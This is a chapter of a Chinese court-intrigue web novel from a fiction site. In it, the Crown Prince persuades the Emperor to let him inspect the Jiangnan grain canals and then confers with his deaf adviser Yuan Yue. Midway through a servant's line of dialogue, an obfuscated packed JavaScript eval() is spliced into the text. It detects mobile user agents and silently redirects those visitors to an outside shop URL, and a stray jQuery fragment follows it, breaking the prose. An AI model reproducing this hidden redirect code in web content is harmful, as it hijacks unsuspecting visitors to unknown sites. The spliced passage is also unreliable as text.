文趣网 > 其他小说 > 耳背藏刀 > 16. 南巡
    御座上,景帝捏了捏眉心,看着底下乌压压站着的群臣,心中一阵疲惫。

    普天之下莫非王土,率土之滨莫非王臣,可眼下这个节骨眼上,底下的这些个废物,一个顶用的都没有。

    弹劾户部尚书李松的折子递上来有段时间了。都察院当即联合刑部展开了调查,审讯了京城官漕各级吏员,一干人等皆认罪指证。从钟家抄出来的阴阳账簿也摆在眼前,李尚书借钟家父子之手隐瞒灾情,趁机大发国难财的案件已证据确凿,板上钉钉。

    但眼下的困难是,京城的案情已然明了,地方官员却把锅都哐当一声砸在已经死无对证的钟家父子身上。

    李尚书和地方官员本就没有直接联系,全靠钟家当做中间人维系,中间人一死,地方官员纷纷上奏说自己是被胁迫冤枉的,对自己截流钱粮的事闭口不提。

    案子在京城的这一截尚可控,可远在地方的官员们互相包庇,集体甩锅的行为让景帝如同吃了苍蝇一般恶心。

    今天在朝上,群臣也约好了似的和起了稀泥来。只道如今灾情已平息,流民也已安置,甚至季大帅都已经肃清流寇返京。然后义愤填膺地痛骂了李尚书如何尸位素餐祸国殃民,雷声大雨点小,只希望麻溜地斩了他,这案子就算结了。

    听得景帝的眉头越皱越紧。

    景帝也知道,地方官员势力大多根深蒂固,盘根错节,彼此互通关节,即使派御史去查根问底,寻常人也根本压不住。

    人还没到呢,人家就提前销毁账目,串通口供,只把想要你看到的证据抬上来,根本连底层的漕卒都接触不到。说不定还会想各种法子设局,拖人下水同流合污。到头来案子没查到,反而惹得一身腥臊。

    没人想沾这像狗屎一样的事。

    太子见状,主动站了出来:“父皇,儿臣愿为父皇分忧。儿臣愿亲自前往江南,探查江南水患一案。”

    景帝闻言一怔,放下捏着眉心的手,还未来得及开口。

    御史大夫便出列嚎道:“陛下,万万不可啊——”

    “太子乃是国之根本,储君离京,又是深入江南腹地,沿途难保不生意外。殿下万金之躯,一旦有失,便会动摇国本。臣,觉得不妥!”

    说完跪下重重磕了个响头,给陛下拜个早年。

    御史大夫是皇后本家,自是希望太子安安稳稳呆在京城做这个储君,想不通这孩子为啥要冒险出这个风头,当然要带头阻拦。

    满朝官员闻言纷纷点头,出列表态,劝阻声一片。

    景帝刚刚放下的手再次掐上了眉心。

    别说文武百官们觉得不妥,景帝自己也没想好。

    就这一个宝贝儿子,以往一直在眼皮子底下没出过差错,从未离开过京城。他了解这孩子,能力虽不弱,但毕竟年轻,面皮薄,对付地方那些老狐狸们,怕还是差点火候。

    “罢了,再议吧。”

    景帝心烦意乱的挥挥手,示意退朝。

    御书房外,太子恭恭敬敬地站着,已经在此等候了许久。

    夏日炎炎,树上的知了猴没完没了的叫着。太子抬头看了眼毒辣的日头,抬手擦了擦额角的薄汗,想起小时候也是这样的酷暑,自己吵着要抓知了猴,父皇下了朝后便褪去了鞋袜,亲自陪自己上树去捉。

    景帝下了朝禁不住疲惫,在御书房睡着了。胡公公见他睡得实在安稳,便擅作主张没有通传。

    等景帝醒来,一边训斥着胡公公,一边赶紧宣太子入内觐见。

    景帝关切地问:“在这等多久了?”

    太子摇摇头,笑道:“多谢父皇挂念,儿臣并未等候太久。只是儿臣见父皇今日早朝上烦心得很,特来探望。”

    “唉,不提也罢。”皇帝挥挥手,不愿再谈。

    太子却扑通一声跪倒在地:“儿臣恳请父皇,准许孩儿前去江南,替父皇查清此案,还天下百姓一个真相。“

    景帝面色一肃:“不行,方才朝上朕不是说了么?”

    只有父子俩在,景帝也有话直说了。

    “地方的那些官员各个都是千年道行的老狐狸,你如今羽翼未丰,一只兔子去了能有什么用?”

    太子却跪着不肯起身:“儿臣不愿见父皇日日忧心,愿为父皇分忧,请父皇相信我。”

    景帝不知道为何素来乖巧的儿子今天这么坚持,耐着性子解释道:“煜儿啊,不是父皇不相信你,实在是此事太过复杂。你也看到了,朝中的老臣们都不愿意沾手,此案实在不是你现在能掌控的。听父皇的,再磨砺个几年再说,啊。“

    “父皇先别急着拒绝儿臣,请听儿臣一言。”太子抬起头来,眼神灼灼地看着景帝。

    “儿臣此去,可以另寻由头,不必以钦差查案的身份南下。”

    “对外只说,钟家一案暴露漕运积弊,儿臣前往江南漕运要道视察,整顿河道,防止来年漕运再出大乱。儿臣可以在途中暗自打探其中虚实,借此机会核查漕运,深挖钟家在沿线州县的同党,追缴被贪墨的赈灾钱粮。”

    景帝闻言,微微一怔。

    太子继续说道:“如此这般,一来既可以消除地方官员的大半戒备。二来,这江南仗着富庶,也的确猖狂太久。儿臣此行,也可让他们知道,朝廷对漕运积弊并非视而不见。”

    景帝扶额,认真的思考了一番。

    他不是不想深查,只是谁来查,怎么查的确是个难题。

    太子去查可以,但是一定要保证安全,想要安全,就不能让那些老狐狸狗急跳了墙。

    这孩子今日这般坚持,无非也是年轻人心高气盛,想要证明一下自己。

    借视察漕运的由头,既可以紧一紧老狐狸的皮,又可以趁机历练一下,若是风险可控......倒也不是完全不可以。

    景帝犹豫良久,缓缓点点,算是同意了。

    太子瞬间眼前一亮:“多谢父皇成全!”

    “不过,我有一个条件。”景帝说。

    太子连忙问道:“是什么?请父皇尽管吩咐!”

    景帝缓缓说道:“此番南下,你务必要带着季家丫头一起去。”

    ***

    夕阳西下,鎏金霞光给皇城朱栏镶上一层金边,太子脚步轻快地走出宫门。

    身后传来细碎踢踏脚步声,太子闻声向后望去,见那胡公公迈着小碎步小跑追了上来。

    胡公公年纪不小了,到了跟前,已是气喘吁吁:“殿下、殿下请留步!”

    太子连忙迎上前:“胡公公这是怎么了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968740|214612||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ?”

    胡公公来不及把气喘匀,将一枚白玉鱼符交到了太子手上。

    “陛下,陛下拖奴婢把这个交给殿下,请殿下一定要万般小心。”

    太子心下一热,说道:“有劳公公了,也烦请公公替我好好照顾父皇。”

    “殿下这是折煞奴才了,侍奉陛下本就是奴才的本分。“胡公公连忙躬身作揖,“殿下长大了,能替陛下分忧了。老奴心中也高兴得紧。”

    宫门口,元月一身素白长衫,已经等候多时。

    胡公公远远望见了,凑道太子跟前说:“哟,这位就是元公子吧。老奴近来听见了好多关于他的传闻,本人真的跟传言一样,俊俏得很啊。”

    太子笑了起来,揶揄道:“胡公公果然还是一如既往地偏爱俊俏公子啊。”

    胡公公大惊,连连摆手:“哎哟,殿下莫要拿老奴开玩笑了,老奴这把年纪可受不起。”

    元月远远地看见他们,在宫门外规规矩矩地拜了一拜。

    胡公公还是忍不住多看了几眼,随即躬身告退,踏着细碎脚步折返而去。

    太子随元月一齐上了马车,俩人刚刚坐定,太子便难掩兴奋之情,说道:“果然如你所说,父皇应允了!”

    坐在元月身旁的结实书童,用手语比划给元月看。

    元月明白了,笑眯眯地开了口:“恭喜太子殿下。”

    太子第一次见到这聋子说话时也是很惊讶,随即元月解释道他并不是天生耳疾,而是小时候生了一场大病,才导致的听力逐渐衰退。所幸他一直有在练习说话,所以还保持了说话的能力。

    太子拍着元月的肩膀,兴奋道:“你说的没错,只做一个乖巧听话的储君如同那笼中之鸟、井底之蛙。纸上得来终觉浅,果然机会是要靠自己争取来的!元月,今日之事,多亏了你!”

    元月笑笑摇头道:“臣不过提了一个粗浅的想法,终究是殿下礼贤下士,心怀远志,方才争取到了南下的机会。”

    太子微微颔首,说道:“我们先前判断得一点不差,今日在朝堂上一提此事,众臣们便纷纷出声阻拦。”接着便将今日朝前殿后发生的事情,一五一十地转述给了元月。

    元月听完,分析道:”正是。御史是皇后母家,这些外戚当然希望你赖在他们身边不走,一直倚仗着他们,就怕你一去江南,离了他们反而立下大功。”

    “而李尚书在朝中经营多年,门生旧友众多,利益纠缠深重,这些人自然也害怕这案子深挖,巴不得早点结案,哪会放你南下查案。”

    “只是.......”太子犹豫了片刻,开口道:“只是父亲让我带上季将军家的小女儿季礼一同前往。”

    元月脸上刻意露出一丝讶异神色。

    “你也觉得很意外吧?”太子继续说道,“当时我也是。”

    “父皇解释说,季将军毕竟守卫江南沿海多年,手握兵权,与当地的官吏还有漕卫势力都相熟。地方文武官员对他颇有忌惮。父皇又说季礼为人机灵,性格果决,与我又年纪相仿,一同南下最合适不过。”

    元月垂眸,眼底闪过一丝沉郁,语气却依然温和平静:”陛下思虑周全。毕竟对陛下而言,殿下的安危,是比世界上任何东西都还要重要的。”